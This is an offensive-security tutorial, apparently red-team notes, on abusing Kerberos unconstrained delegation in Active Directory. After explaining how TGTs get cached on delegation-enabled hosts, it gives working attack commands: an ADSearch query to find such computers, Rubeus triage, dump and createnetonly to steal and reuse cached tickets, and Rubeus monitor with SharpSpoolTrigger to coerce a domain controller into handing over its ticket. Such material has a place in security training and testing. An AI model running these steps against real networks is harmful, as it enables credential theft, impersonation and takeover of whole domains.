Unconstrained Delegation

Unconstrained Delegation allows a service running under a user account to impersonate other users and access resources on their behalf, this means that the service can pass the user's credentials to other services without any restrictions.

The front-end application needs to authenticate to the back-end database (using Kerberos) as the authenticated user.

Unconstrained Delegation was the first solution to this problem, introduced in Windows 2000. When configured on a computer, the KDC includes a copy of the user's TGT inside the TGS. In this example, when the user accesses the Web Server, it extracts the user's TGT from the TGS and caches it in memory. When the Web Server needs to access the DB Server on behalf of that user, it uses the user’s TGT to request a TGS for the database service. An interesting aspect to unconstrained delegation is that it will cache the user’s TGT regardless of which service is being accessed by the user. So, if an admin accesses a file share or any other service on the machine that uses Kerberos, their TGT will be cached. If we can compromise a machine with unconstrained delegation, we can extract any TGTs from its memory and use them to impersonate the users against other services in the domain.

By default, DCs have Unconstrained Delegation enabled: this means that they possess the capability to impersonate users and access resources on their behalf without any restrictions. If we're dealing with default domain deployment, writable DCs are configured to permit unconstrained delegation: any user lacking the Account is sensitive and cannot be delegated setting on their account or not included within the Protected Users group will transmit their TGT within a service ticket when accessing a server with unconstrained delegation enabled.

This query will return all computers that are permitted for unconstrained delegation.

ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

Domain Controllers are always permitted for unconstrained delegation.

There are two main attack scenarios to abuse Unconstrained Delegation:

1. Using a cached ticket or waiting for a user to authenticate into a owned host

2. Leveraging the Printer Bug

Passive Authentication Method

Rubeus.exe triage
 
 | 0x14794e | user @ DOMAIN.COM | krbtgt/DOMAIN.COM

Now we can simply extract this TGT and leverage it via a new logon session.

Rubeus.exe dump /luid:0x14794e /nowrap

And use it to create a process to steal the token from

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:user /password:SomethingSecure123! /ticket:<TICKET>

Printer Bug Method

We can also obtain TGTs for computer accounts by forcing them to authenticate remotely into a owned machine.

We will also utilize Rubeus' monitor command. This will drop into loop and continuously monitor for and extract new TGT as they get cached.

This is a superior strategy when compared to running triage manually because there's little chance of us not seeing or missing a ticket.

Rubeus.exe monitor /interval:5 /nowrap

Next, run SharpSpoolTrigger.

SharpSpoolTrigger.exe <TARGET SERVER> <INTERCEPTING SERVER>

If the attack worked Rubeus will then capture the ticket.

To stop Rubeus on C2 frameworks you have to kill the underlying task / job.

Now we can renew the ticket with Rubeus' renew and import it into our session.

For info about user-based unconstrained delegation read this